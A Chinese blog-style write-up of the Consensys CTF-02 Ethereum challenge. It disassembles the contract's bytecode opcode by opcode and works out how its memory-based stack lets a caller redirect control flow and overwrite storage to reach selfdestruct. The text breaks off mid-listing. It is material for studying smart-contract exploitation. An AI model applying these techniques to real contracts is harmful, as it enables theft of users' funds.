Consensys CTF-02 栈溢出重定向利用

这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊沙盒”要难上不少。:smiley:

Consensys CTF-02 栈溢出重定向利用 > 基于samczsun的解析文章学习 ## 分析原文: 本文都是基于https://samczsun.com/consensys-ctf-2-rop-evm/ 这篇文章进行的分析,如有需要可以参考原文。谢绝转载!!! ![image20210619193753465.png](https://img.learnblockchain.cn/attachments/2021/06/GEjBHM3R60cecae04ed4a.png) 不允许未经本人同意转载,本文为原创文章 ## 问题描述: 这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“*以太坊沙盒*”要难上不少。这个CTF中跟上篇文章一样也是没有公开源码,甚至于现在Etherscan上都找不到对应的合约。当然他的合约地址在[0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87](https://ethstats.io/account/0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87) 。本CTF的要求很简单,利用其合约中提供的一个自毁方法,拿到所有的ETH。是不是听起来很简单呢?:smile: ## OPCODE代码复原: :point_right: 首先是借助于工具,拿到该合约的bytecode码,和机器翻译的solidity代码。https://contract-library.com/contracts/Ethereum/0xEFA51BC7AAFE33E6F0E4E44D19EAB7595F4CCA87 ![image20210619194447400.png](https://img.learnblockchain.cn/attachments/2021/06/otzmPsrb60cecad3acfd4.png) 从工具上可以看到,存在5个公开的函数,和两个全局变量:`get` 占据slot0 和 `die` 占据slot1。 ### 首先看函数:`die()` ```javascript function die() public payable { require(msg.sender == _die); selfdestruct(_die); } ``` 可以看到这应该是我们最后要取得该题解答的函数,只要保证`msg.sender == die`即可通过`selfdestruct(_dit)`拿到所有的ETH,从而解答该题。看起来好像很简单的样子哦:laughing: ### 再看函数:`get()` ```js function get() public { require(msg.sender != _get); return _get; } ``` 这个get函数应该是用来返回slot0的值的,看起来也很简单:smiley: ### 在分析函数:`set(uint256 varg0)` ```js function set(uint256 varg0) public payable { 0xe8(); v0, v1 = 0xb4(); MEM[MEM[256] + 32] = 836; MEM[MEM[256] + 32 + 32] = varg0; MEM[MEM[256] + 32 + 32 + 32] = 0; STORAGE[MEM[MEM[256] + 32 + 32 + 32]] = MEM[MEM[256] + 32 + 32 + 32 - 32]; MEM[256] = MEM[256] + 32 + 32 + 32 - 32 - 32 - 32 - 32; MEM[256] = MEM[MEM[256] + 32 + 32 + 32 - 32 - 32 - 32]; } ``` 如果仅仅看翻译过来的`solidity`代码,可以看到有一个给`STORAGE`赋值的操作,也许我们可以利用它,来将我们的`msg.sender`地址赋值给到`die`中 在这里,我们需要分析下OPCODE代码,来接触到本题的核心——手动构建的栈 这里我们将逐行手动标记OPCODE的执行栈空间,来分析该`set(uint256)`函数. 函数签名为:`60fe47b1` ```assembly 首先是函数选择器部分 0x0: PUSH3 0x100000 0x10000 0x4: PUSH1 0x40 0x10000 0x40 0x6: MSTORE 0x7: PUSH1 0x4 0x4 0x9: CALLDATASIZE 0x24 0xa: LT 0x0 0xb: PUSH2 0x68 0x0 0x68 0xe: JUMPI 0xf: PUSH1 0x0 0x0 0x11: CALLDATALOAD 0x60fe47b1... 0x12: PUSH29 0x100000000000000000000000000000000000000000000000000000000 0x60fe47b1... 0x100... 0x30: SWAP1 0x100.. 0x60fe47b1... 0x31: DIV 0x60fe47b1 0x32: PUSH4 0xffffffff 0x60fe47b1 0xffffffff 0x37: AND 0x60fe47b1 0x38: DUP1 0x60fe47b1 0x60fe47b1 0x39: PUSH4 0x7909947a 0x3e: EQ 0x3f: PUSH2 0x23a 0x42: JUMPI 0x43: DUP1 0x44: PUSH4 0x60fe47b1 0x60fe47b1 0x60fe47b1 0x60fe47b1 0x49: EQ 0x60fe47b1 0x1 0x4a: PUSH2 0x30f 0x60fe47b1 0x1 0x30f 0x4d: JUMPI 0x60fe47b1 ``` 函数选择器首先是拿到了函数签名,然后与合约中public,external的函数签名进行比对,EQ返回1后,再跳转到对应的函数wrapper中。下面我们看线函数包装器中是怎么样的逻辑 ```assembly 这部分是函数包装器部分,但实际上定义了函数的整个逻辑框图 再没有具体跳进去看每一个函数前,假设函数不影响栈结构 0x30f: JUMPDEST 0x60fe47b1 0x310: PUSH2 0x317 0x60fe47b1 0x317 0x313: PUSH2 0xe8 0x60fe47b1 0x317 0xe8 0x316: JUMP 0x60fe47b1 0x317 0x317: JUMPDEST 0x60fe47b1 0x318: PUSH2 0x31f 0x60fe47b1 0x31f 0x31b: PUSH2 0xb4 0x60fe47b1 0x31f 0xb4 0x31e: JUMP 0x60fe47b1 0x31f 0x31f: JUMPDEST 0x60fe47b1 0x320: PUSH2 0x32a 0x60fe47b1 0x32a 0x323: PUSH2 0x344 0x60fe47b1 0x32a 0x344 0x326: PUSH2 0x8c 0x60fe47b1 0x32a 0x344 0x8c 0x329: JUMP 0x60fe47b1 0x32a 0x344 0x32a: JUMPDEST 0x60fe47b1 0x32b: PUSH2 0x335 0x60fe47b1 0x335 0x32e: PUSH1 0x4 0x60fe47b1 0x335 0x4 0x330: CALLDATALOAD 0x60fe47b1 0x335 Id[4:36] 0x331: PUSH2 0x8c 0x60fe47b1 0x335 Id[4:36] 0x8c 0x334: JUMP 0x60fe47b1 0x335 Id[4:36] 0x335: JUMPDEST 0x60fe47b1 0x336: PUSH2 0x33f 0x60fe47b1 0x33f 0x339: PUSH1 0x0 0x60fe47b1 0x33f 0x0 0x33b: PUSH2 0x8c 0x60fe47b1 0x33f 0x0 0x8c 0x33e: JUMP 0x60fe47b1 0x33f 0x0 0x33f: JUMPDEST 0x60fe47b1 0x340: PUSH2 0x2ea 0x60fe47b1 0x2ea 0x343: JUMP 0x60fe47b1 0x344: JUMPDEST 0x60fe47b1 0x345: PUSH1 0x0 0x347: PUSH1 0x0 0x349: RETURN => 翻译一下 function set(uint256 value) public nonPayable{ push_stack_frame(); uint redirectTo = 0x344; push_stack(redirectTo); uint256 newStackPointer; assembly{ newStackPointer := calldataload(0x04) } push_stack(newStackPointer); push_stack(0x00); set_impl(); } ``` ```mermaid classDiagram start --|> 0xe8 0xe8 --|> 0xb4 0xb4 --|> 0x8c_0x344 0x8c_0x344 --|> 0x8c_CALLDATALOAD 0x8c_CALLDATALOAD --|> 0x8c_0x00 0x8c_0x00 --|> 0x2ea class start { 0x30f JUMDEST } class 0x8c_0x344{ 0x329 IN 0x32A OUT } class 0x8c_CALLDATALOAD{ 0x331 IN 0x335 OUT } class 0x8c_0x00{ 0x33E IN 0x33F OUT } class 0xb4{ 0x31E IN 0x31F OUT } class 0xe8{ 0x316 IN 0x317 OUT } class 0x2ea{ 0x343 IN } ``` 拿到函数wrapper时,先不要具体全部都跳进去看细节,我们先看下整个流程是怎样的,有几处内部调用,以及最后从哪里返回。 首先是0x30f为进入点,先调用0xe8, 然后返回到0x317, 再依次调用0xb4, 返回到0x31f, 再调用0x8c, 带参数0x344,返回到0x32a, 在调用一次0x8c, 带参数为CALLDATALOAD(0x4), 返回到0x335, 再调用0x8c, 带参数0x0, 返回到0x33f, 然后调用0x2ea函数,不确定返回值在哪。通过流程图可以清晰看到基本上是一个顺序调用的关系。接下来要分析每一个函数都在干嘛,作用是啥:cry: #### :fish: 首先看0xe8 简单说是判断该函数是否是Payable,如果不是Payable, 则如果函数调用时传送了ETH,流程就会回退。 ```assembly 0xe8: JUMPDEST 0x60fe47b1 0x317 0xe9: CALLVALUE 0x60fe47b1 0x317 0x0 0xea: ISZERO 0x60fe47b1 0x317 0x01 0xeb: PUSH2 0xc1 0x60fe47b1 0x317 0x01 0xc1 0xee: JUMPI 0x60fe47b1 0x317 0xc1: JUMPDEST 0x60fe47b1 0x317 0xc2: JUMP 0x60fe47b1 => 翻译成solidity modifier nonPayable() { require(msg.value == 0); _; } ``` #### :fish:我们再看0xb4 可以看到其在内部调用了0x8c, 然后返回到0xbf处. 简单说作用是把当前内存地址为100的值放入手动构建的栈里 ```assembly 0xb4: JUMPDEST 0x60fe47b1 0x31f 0xb5: PUSH2 0xbf 0x60fe47b1 0x31f 0xbf 0xb8: PUSH2 0x100 0x60fe47b1 0x31f 0xbf 0x100 0xbb: MLOAD 0x60fe47b1 0x31f 0xbf M[100] 0xbc: PUSH2 0x8c 0x60fe47b1 0x31f 0xbf M[100] 0x8c 0xbf: JUMPDEST 0x60fe47b1 0x31f 0xbf M[100] 0x8c 0xc0: JUMP 0x60fe47b1 0x31f 0xbf M[100] 此处调用函数0x8c, 参数为M[100], 函数返回再0xbf处,第二次调用栈如下: 0xbf: JUMPDEST 0x60fe47b1 0x31f 0xc0: JUMP 0x60fe47b1 => 翻译成solidity function push_stack_frame() private { uint256 value; assembly{ value := mload(0x100) } push_stack(value) } ``` #### :fish:接下来的是0x8c 从上面的分析可以看出,该函数有一个参数,返回值为0. 简单来讲是再内存中手动构建一个栈,每次push一个值到栈顶,同时跟新栈顶指向的内存地址。注意该值是32位长,如果过长就会覆盖栈里的其他元素。这也是要解答这个题目必须理解的一点。 ```assembly 0x8c: JUMPDEST 0x60fe47b1 backpointer value 0x8d: PUSH1 0x20 0x60fe47b1 backpointer value 0x20 0x8f: PUSH2 0x100 0x60fe47b1 backpointer value 0x20 0x100 0x92: MLOAD 0x60fe47b1 backpointer value 0x20 M[100] 0x93: ADD 0x60fe47b1 backpointer value M[100]+0x20 0x94: DUP1 0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x95: PUSH2 0x100 0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x100 0x98: MSTORE 0x60fe47b1 backpointer value M[100]+0x20 0x99: MSTORE 0x60fe47b1 backpointer 0x9a: JUMP 0x60fe47b1 => 翻译一下 function push_stack(uint256 value) private { uint temp; assembly{ temp := mload(0x100) mstore(add(temp, 0x20), value) mstore(0x100, add(temp, 0x20)) } } ``` #### :fish:接下来是0x2ea 这个函数后面的控制流程还不清楚. 可以看到该函数内部有一个关键的`OPCODE``:` `SSTORE`, 这是我们最关心的。因为我们需要更改slot1的值,以便于获取该合约的所有Ether。同时我们可以看到再该函数内部,也调用了相当多的函数。简单看我们发现函数调用顺序是 0x2ea -> 0x9b -> 0x9b -> 0xc3. 可以猜测0x9b不需要参数,但返回1个值到栈里,0xc3也不需要参数 ```assembly 0x2ea: JUMPDEST 0x60fe47b1 0x2eb: PUSH1 0x20 0x60fe47b1 0x20 0x2ed: PUSH2 0x100 0x60fe47b1 0x20 0x100 0x2f0: MLOAD 0x60fe47b1 0x20 M[100] 0x2f1: SUB 0x60fe47b1 M[100]-0x20 0x2f2: MLOAD 0x60fe47b1 M[M[100]-0x20] 0x2f3: PUSH2 0x100 0x60fe47b1 M[M[100]-0x20] 0x100 0x2f6: MLOAD 0x60fe47b1 M[M[100]-0x20] M[100] 0x2f7: MLOAD 0x60fe47b1 M[M[100]-0x20] M[M[100]] 0x2f8: SSTORE 0x60fe47b1 0x2f9: PUSH2 0x300 0x60fe47b1 0x300 0x2fc: PUSH2 0x9b 0x60fe47b1 0x300 0x9b 0x2ff: JUMP 0x60fe47b1 0x300 0x300: JUMPDEST 0x60fe47b1 returnValue 0x301: POP 0x60fe47b1 0x302: PUSH2 0x309 0x60fe47b1 0x309 0x305: PUSH2 0x9b 0x60fe47b1 0x309 0x9b 0x308: JUMP 0x60fe47b1 0x309 0x309: JUMPDEST 0x60fe47b1 returnValue 0x30a: POP 0x60fe47b1 0x30b: PUSH2 0xc3 0x60fe47b1 0xc3 0x30e: JUMP 0x60fe47b1 => 翻译一下 function set_impl() private{ uint temp0; uint temp1 assembly{ temp0 := mload(0x100) //M[100] temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20] sstore(mload(temp0), temp1) } pop_stack(); pop_stack(); pop_stack_frame(); } ``` :duck: 先整体理解下0x2ea, 它主要将栈顶的值作为键,将栈里第1个元素的值作为值,储存再以太坊上。然后将栈里的值弹出来,弹出两个栈里的值,然后弹出栈的Frame。 #### :fish:先看0x9b函数, 简单看是拿到栈顶的元素,然后将栈的指针向下移动0x20 ```assembly 0x9b: JUMPDEST 0x60fe47b1 backpointer 0x9c: PUSH2 0x100 0x60fe47b1 backpointer 0x100 0x9f: MLOAD 0x60fe47b1 backpointer M[100] 0xa0: MLOAD 0x60fe47b1 backpointer M[M[100]] 0xa1: PUSH1 0x20 0x60fe47b1 backpointer M[M[100]] 0x20 0xa3: PUSH2 0x100 0x60fe47b1 backpointer M[M[100]] 0x20 0x100 0xa6: MLOAD 0x60fe47b1 backpointer M[M[100]] 0x20 M[100] 0xa7: SUB 0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0xa8: PUSH2 0x100 0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0x100 0xab: MSTORE 0x60fe47b1 backpointer M[M[100]] 0xac: SWAP1 0x60fe47b1 M[M[100]] backpointer 0xad: JUMP 0x60fe47b1 M[M[100]] => 翻译一下 function pop_stack() private returns (uint256) { uint value; uint temp; assembly{ temp := mload(0x100) value := mload(temp) mstore(0x100, sub(temp, 0x20)) } return value; } ``` #### :fish:再看0xc3函数, 可以看淡这个函数里面也是调用了多个函数。函数调用顺序为:0xc3 -> 0x9b -> 0x9b -> 0xae -> J(returnValue) 简单来说,弹出两个栈里的值,第一个值作为后面流程重定向的位置,第二个值作为新的STACK的内存起点 ```assembly 0xc3: JUMPDEST 0x60fe47b1 0xc4: PUSH2 0xcb 0x60fe47b1 0xcb 0xc7: PUSH2 0x9b 0x60fe47b1 0xcb 0x9b 0xca: JUMP 0x60fe47b1 0xcb 0xcb: JUMPDEST 0x60fe47b1 returnValue 0xcc: PUSH2 0xd3 0x60fe47b1 returnValue 0xd3 0xcf: PUSH2 0x9b 0x60fe47b1 returnValue 0xd3 0x9b 0xd2: JUMP 0x60fe47b1 returnValue 0xd3 0xd3: JUMPDEST 0x60fe47b1 returnValue returnValue2 0xd4: PUSH2 0xdc 0x60fe47b1 returnValue returnValue2 0xdc 0xd7: SWAP1 0x60fe47b1 returnValue 0xdc returnValue2 0xd8: PUSH2 0xae 0x60fe47b1 returnValue 0xdc returnValue2 0xae 0xdb: JUMP 0x60fe47b1 returnValue 0xdc returnValue2 0xdc: JUMPDEST 0x60fe47b1 returnValue 0xdd: JUMP 0x60fe47b1 J(returnValue) 0xde: JUMPDEST => 翻译一下 function pop_stack_frame() private { int redirectTo; int pointer; redirectTo = pop_stack(); pointer = pop_stack(); newStackPointer(pointer); assembly { jump(redirectTo) } } ``` #### :fish:我们看0xae 函数, 这个函数很简单,就是把它的参数赋值到M[100]中,但意义很重大,意义是定义新的STACK的内存起点。因为STack的内存起点就是M[100] ```assembly 0xae: JUMPDEST 0x60fe47b1 returnValue 0xdc returnValue2 0xaf: PUSH2 0x100 0x60fe47b1 returnValue 0xdc returnValue2 0x100 0xb2: MSTORE 0x60fe47b1 returnValue 0xdc 0xb3: JUMP 0x60fe47b1 returnValue => 翻译一下 function newStackPointer(uint256 pointer) { assembly{ mstore(0x100, pointer) } } ``` :rainbow:分析到这里,需要我们梳理一下手动构造的栈里到底存了啥?`set(uint256 varg0)`函数到底干了什么 ```assembly function set(uint256 value) public nonPayable{ push_stack_frame(); uint redirectTo = 0x344; push_stack(redirectTo); push_stack(value); push_stack(0x00); set_impl(); } function set_impl() private{ uint temp0; uint temp1 assembly{ temp0 := mload(0x100) //M[100] temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20] sstore(mload(temp0), temp1) } pop_stack(); pop_stack(); pop_stack_frame(); } function pop_stack_frame() private { int redirectTo; int pointer; redirectTo = pop_stack(); pointer = pop_stack(); newStackPointer(pointer); assembly { jump(redirectTo) } } label redirectTo: 0x344: JUMPDEST 0x345: PUSH1 0x0 0x347: PUSH1 0x0 0x349: RETURN => 翻译一下 function set(uint256 value) public nonPayable { assembly{ sstore(0x00, value) } } ``` :rainbow_flag: 该函数首先是把frame压到栈里,再压入后面的redirectTo重定向位点压入栈里,再压入栈顶指针,再压入0x00,后面将栈顶的值作为key,栈里顺序1的元素作为值写到以太坊中。之后弹出栈顶0x00, 弹出栈顶指针,弹出重定向位点,并保存到redirecTo变量中,再弹出frame,并把frame作为新的栈顶指针创建新的栈,最后跳转到重定向位点。 ### :honey_pot: 分析蜜汁函数0x7909947a() 可以看到这个函数内部也是调用了很多其他的函数。函数调用顺序为: 0x23a -> 0xde -> 0x8c(0x0) -> 0x8c(0x0) -> 0xb4 -> 0x8c(0x29b) -> 0x8c(90000) -> 0x8c(0x28a) -> 0x8c(size) -> 0x15d ```assembly 0x23a: JUMPDEST 0x7909947a 0x23b: PUSH2 0x242 0x7909947a 0x242 0x23e: PUSH2 0xde 0x7909947a 0x242 0x241: JUMP 0x7909947a 0x242 0x242: JUMPDEST 0x7909947a 0x243: PUSH2 0x24c 0x7909947a 0x24c 0x246: PUSH1 0x0 0x7909947a 0x24c 0x0 0x248: PUSH2 0x8c 0x7909947a 0x24c 0x0 0x8c 0x24b: JUMP 0x7909947a 0x24c 0x0 0x24c: JUMPDEST 0x7909947a 0x24d: PUSH2 0x100 0x7909947a 0x100 0x250: MLOAD 0x7909947a M[100] 0x251: PUSH2 0x25a 0x7909947a M[100] 0x25a 0x254: PUSH1 0x0 0x7909947a M[100] 0x25a 0x0 0x256: PUSH2 0x8c 0x7909947a M[100] 0x25a 0x0 0x8c 0x259: JUMP 0x7909947a M[100] 0x25a 0x0 0x25a: JUMPDEST 0x7909947a M[100] 0x25b: CALLDATASIZE 0x7909947a M[100] size 0x25c: PUSH1 0x44 0x7909947a M[100] size 0x44 0x25e: PUSH3 0x90000 0x7909947a M[100] size 0x44 0x90000 0x262: CALLDATACOPY 0x7909947a M[100] 0x263: PUSH2 0x26a 0x7909947a M[100] 0x26a 0x266: PUSH2 0xb4 0x7909947a M[100] 0x26a 0xb4 0x269: JUMP 0x7909947a M[100] 0x26a 0x26a: JUMPDEST 0x7909947a M[100] 0x26b: PUSH2 0x275 0x7909947a M[100] 0x275 0x26e: PUSH2 0x29b 0x7909947a M[100] 0x275 0x29b 0x271: PUSH2 0x8c 0x7909947a M[100] 0x275 0x29b 0x8c 0x274: JUMP 0x7909947a M[100] 0x275 0x29b 0x275: JUMPDEST 0x7909947a M[100] 0x276: PUSH2 0x281 0x7909947a M[100] 0x281 0x279: PUSH3 0x90000 0x7909947a M[100] 0x281 0x90000 0x27d: PUSH2 0x8c 0x7909947a M[100] 0x281 0x90000 0x8c 0x280: JUMP 0x7909947a M[100] 0x281 0x90000 0x281: JUMPDEST 0x7909947a M[100] 0x282: PUSH2 0x28a 0x7909947a M[100] 0x28a 0x285: DUP2 0x7909947a M[100] 0x28a topPointer 0x286: PUSH2 0x8c 0x7909947a M[100] 0x28a topPointer 0x8c 0x289: JUMP 0x7909947a M[100] 0x28a 0x28a 0x28a: JUMPDEST 0x7909947a M[100] 0x28b: PUSH2 0x296 0x7909947a M[100] 0x296 0x28e: PUSH1 0x44 0x7909947a M[100] 0x296 0x44 0x290: CALLDATASIZE 0x7909947a M[100] 0x296 0x44 size 0x291: SUB 0x7909947a M[100] 0x296 size-0x44 0x292: PUSH2 0x8c 0x7909947a M[100] 0x296 size-0x44 0x8c 0x295: JUMP 0x7909947a M[100] 0x296 size-0x44 0x296: JUMPDEST 0x7909947a M[100] 0x297: PUSH2 0x15d 0x7909947a M[100] 0x15d 0x29a: JUMP 0x7909947a M[100] 0x29b: JUMPDEST 0x7909947a M[100] 0x29c: PUSH2 0x2a3 0x7909947a M[100] 0x2a3 0x29f: PUSH2 0xb4 0x7909947a M[100] 0x2a3 0xb4 0x2a2: JUMP 0x7909947a M[100] 0x2a3 0x2a3: JUMPDEST 0x7909947a M[100] 0x2a4: PUSH2 0x2ae 0x7909947a M[100] 0x2ae 0x2a7: PUSH2 0x2bc 0x7909947a M[100] 0x2ae 0x2bc 0x2aa: PUSH2 0x8c 0x7909947a M[100] 0x2ae 0x2bc 0x8c 0x2ad: JUMP 0x7909947a M[100] 0x2ae 0x2bc 0x2ae: JUMPDEST 0x7909947a M[100] 0x2af: PUSH2 0x2b7 0x7909947a M[100] 0x2b7 0x2b2: DUP2 0x7909947a M[100] 0x2b7 0x2b7 0x2b3: PUSH2 0x8c 0x7909947a M[100] 0x2b7 0x2b7 0x8c 0x2b6: JUMP 0x7909947a M[100] 0x2b7 0x2b7 0x2b7: JUMPDEST 0x7909947a M[100] 0x2b8: PUSH2 0xf3 0x7909947a M[100] 0xf3 0x2bb: JUMP 0x7909947a M[100] => 翻译一下 function 0x7909947a() public { stack_pointer_init(); push_stack(0x0); uint topPointer; assembly{ topPointer := mload(0x100) } push_stack(0x0); uint size; assembly { size := calldatasize() calldatacopy(0x90000, 0x44, size) } push_stack_frame(); uint return_pointer = 0x29b; push_stack(return_pointer); push_stack(0x90000); push_stack(topPointer); push_stack(size-0x44); 0x7909947a_impl(); } ``` #### :tropical_fish: 首先是`0xde` 这里给0xde取名叫`stack_pointer_init()`,原因很简单,因为其作用是初始化内存地址100的值为固定值0x100. 其实作用是初始化内存栈的栈顶。 ```assembly 0xde: JUMPDEST 0x7909947a backPointer 0xdf: PUSH2 0xe6 0x7909947a backPointer 0xe6 0xe2: PUSH2 0x7c 0x7909947a backPointer 0xe6 0x7c 0xe5: JUMP 0x7909947a backPointer 0xe6 0xe6: JUMPDEST 0x7909947a backPointer 0xe7: JUMP 0x7909947a 0x7c: JUMPDEST 0x7909947a backPointer 0xe6 0x7d: PUSH2 0x100 0x7909947a backPointer 0xe6 0x100 0x80: PUSH2 0x100 0x7909947a backPointer 0xe6 0x100 0x100 0x83: MSTORE 0x7909947a backPointer 0xe6 0x84: JUMP 0x7909947a backPointer => 翻译一下 function stack_pointer_init() private { assembly{ mstore(0x100, 0x100) } } ``` #### :tropical_fish: 再是0x15d 分析该函数,发现函数内部调用的顺序为:0x15d -> 0x8c(0x0) -> 0x168(循环, 0x1ce跳出循环) -> 0x1e0(循环,0x211跳出循环) -> 0x9b -> 0x9b -> 0x9b -> 0x9b -> 0xc3 ```assembly 0x15d: JUMPDEST 0x7909947a framePointer 0x15e: PUSH2 0x167 0x7909947a framePointer 0x167 0x161: PUSH1 0x0 0x7909947a framePointer 0x167 0x0 0x163: PUSH2 0x8c 0x7909947a framePointer 0x167 0x0 0x8c 0x166: JUMP 0x7909947a framePointer 0x167 0x0 0x167: JUMPDEST 0x7909947a framePointer 0x168: JUMPDEST 0x169: PUSH1 0x20 0x7909947a framePointer 0x20 0x16b: PUSH2 0x100 0x7909947a framePointer 0x20 0x100 0x16e: MLOAD 0x7909947a framePointer 0x20 M[100] 0x16f: SUB 0x7909947a framePointer M[100]-0x20 0x170: MLOAD 0x7909947a framePointer M[M[100]-0x20] 0x171: PUSH2 0x100 0x7909947a framePointer M[M[100]-0x20] 0x100 0x174: MLOAD 0x7909947a framePointer M[M[100]-0x20] M[100] 0x175: MLOAD 0x7909947a framePointer M[M[100]-0x20] M[M[100]] 0x176: SUB 0x7909947a framePointer M[M[100]]-M[M[100]-0x20] 0x177: ISZERO 0x7909947a framePointer nonZero 0x178: PUSH2 0x1ce 0x7909947a framePointer nonZero 0x1ce 0x17b: JUMPI 0x7909947a framePointer 0x17c: PUSH32 0x100000000000000000000000000000000000000000000000000000000000000 0x7909947a framePointer 0x10.. 0x19d: PUSH2 0x100 0x7909947a framePointer 0x10.. 0x100 0x1a0: MLOAD 0x7909947a framePointer 0x10.. M[100] 0x1a1: MLOAD 0x7909947a framePointer 0x10.. M[M[100]] 0x1a2: PUSH1 0x60 0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x1a4: PUSH2 0x100 0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x100 0x1a7: MLOAD 0x7909947a framePointer 0x10.. M[M[100]] 0x60 M[100] 0x1a8: SUB 0x7909947a framePointer 0x10.. M[M[100]] M[100]-0x60 0x1a9: MLOAD 0x7909947a framePointer 0x10.. M[M[100]] M[M[100]-0x60] 0x1aa: ADD 0x7909947a framePointer 0x10.. M[M[100]]+M[M[100]-0x60] 0x1ab: MLOAD 0x7909947a framePointer 0x10.. M[M[M[100]]+M[M[100]-0x60]] 0x1ac: DIV 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x1ad: PUSH2 0x100 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x100 0x1b0: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[100] 0x1b1: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x1b2: PUSH1 0x40 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x1b4: PUSH2 0x100 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x100 0x1b7: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 M[100] 0x1b8: SUB 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[100]-0x40 0x1b9: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[M[100]-0x40] 0x1ba: ADD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]+M[M[100]-0x40] 0x1bb: MSTORE8 0x7909947a framePointer 0x1bc: JUMPDEST 0x7909947a framePointer 0x1bd: PUSH1 0x1 0x7909947a framePointer 0x1 0x1bf: PUSH2 0x100 0x7909947a framePointer 0x1 0x100 0x1c2: MLOAD 0x7909947a framePointer 0x1 M[100] 0x1c3: MLOAD 0x7909947a framePointer 0x1 M[M[100]] 0x1c4: ADD 0x7909947a framePointer 0x1+M[M[100]] 0x1c5: PUSH2 0x100 0x7909947a framePointer 0x1+M[M[100]] 0x100 0x1c8: MLOAD 0x7909947a framePointer 0x1+M[M[100]] M[100] 0x1c9: MSTORE 0x7909947a framePointer 0x1ca: PUSH2 0x168 0x7909947a framePointer 0x168 0x1cd: JUMP 0x7909947a framePointer 0x1ce: JUMPDEST 0x7909947a framePointer 0x1cf: PUSH1 0x0 0x7909947a framePointer 0x0 0x1d1: PUSH2 0x100 0x7909947a framePointer 0x0 0x100 0x1d4: MLOAD 0x7909947a framePointer 0x0 M[100] 0x1d5: MLOAD 0x7909947a framePointer 0x0 M[M[100]] 0x1d6: PUSH1 0x40 0x7909947a framePointer 0x0 M[M[100]] 0x40 0x1d8: PUSH2 0x100 0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100 0x1db: MLOAD 0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100] 0x1dc: SUB 0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40 0x1dd: MLOAD 0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40] 0x1de: ADD 0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40] 0x1df: MSTORE8 0x7909947a framePointer 0x1e0: JUMPDEST 0x7909947a framePointer 0x1e1: PUSH1 0x40 0x7909947a framePointer 0x40 0x1e3: PUSH2 0x100 0x7909947a framePointer 0x40 0x100 0x1e6: MLOAD 0x7909947a framePointer 0x40 M[100] 0x1e7: MLOAD 0x7909947a framePointer 0x40 M[M[100]] 0x1e8: MOD 0x7909947a framePointer M[M[100]]%0x40 0x1e9: ISZERO 0x7909947a framePointer nonZero 0x1ea: PUSH2 0x211 0x7909947a framePointer nonZero 0x211 0x1ed: JUMPI 0x7909947a framePointer 0x1ee: PUSH1 0x0 0x7909947a framePointer 0x0 0x1f0: PUSH2 0x100 0x7909947a framePointer 0x0 0x100 0x1f3: MLOAD 0x7909947a framePointer 0x0 M[100] 0x1f4: MLOAD 0x7909947a framePointer 0x0 M[M[100]] 0x1f5: PUSH1 0x40 0x7909947a framePointer 0x0 M[M[100]] 0x40 0x1f7: PUSH2 0x100 0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100 0x1fa: MLOAD 0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100] 0x1fb: SUB 0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40 0x1fc: MLOAD 0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40] 0x1fd: ADD 0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40] 0x1fe: MSTORE8 0x7909947a framePointer 0x1ff: JUMPDEST 0x7909947a framePointer 0x200: PUSH1 0x1 0x7909947a framePointer 0x1 0x202: PUSH2 0x100 0x7909947a framePointer 0x1 0x100 0x205: MLOAD 0x7909947a framePointer 0x1 M[100] 0x206: MLOAD 0x7909947a framePointer 0x1 M[M[100]] 0x207: ADD 0x7909947a framePointer 0x1+M[M[100]] 0x208: PUSH2 0x100 0x7909947a framePointer 0x1+M[M[100]] 0x100 0x20b: MLOAD 0x7909947a framePointer 0x1+M[M[100]] M[100] 0x20c: MSTORE 0x7909947a framePointer 0x20d: PUSH2 0x1e0 0x7909947a framePointer 0x1e0 0x210: JUMP 0x7909947a framePointer 0x211: JUMPDEST 0x7909947a framePointer 0x212: PUSH2 0x219 0x7909947a framePointer 0x219 0x215: PUSH2 0x9b 00x7909947a framePointer 0x219 0x9b 0x218: JUMP 0x7909947a framePointer 0x219 0x219: JUMPDEST 0x7909947a framePointer returnValue 0x21a: POP 0x7909947a framePointer 0x21b: PUSH2 0x222 0x7909947a framePointer 0x222 0x21e: PUSH2 0x9b 0x7909947a framePointer 0x222 0x9b 0x221: JUMP 0x7909947a framePointer 0x222 0x222: JUMPDEST 0x7909947a framePointer returnValue2 0x223: POP 0x7909947a framePointer 0x224: PUSH2 0x22b 0x7909947a framePointer 0x22b 0x227: PUSH2 0x9b 0x7909947a framePointer 0x22b 0x9b 0x22a: JUMP 0x7909947a framePointer 0x22b 0x22b: JUMPDEST 0x7909947a framePointer returnValue3 0x22c: 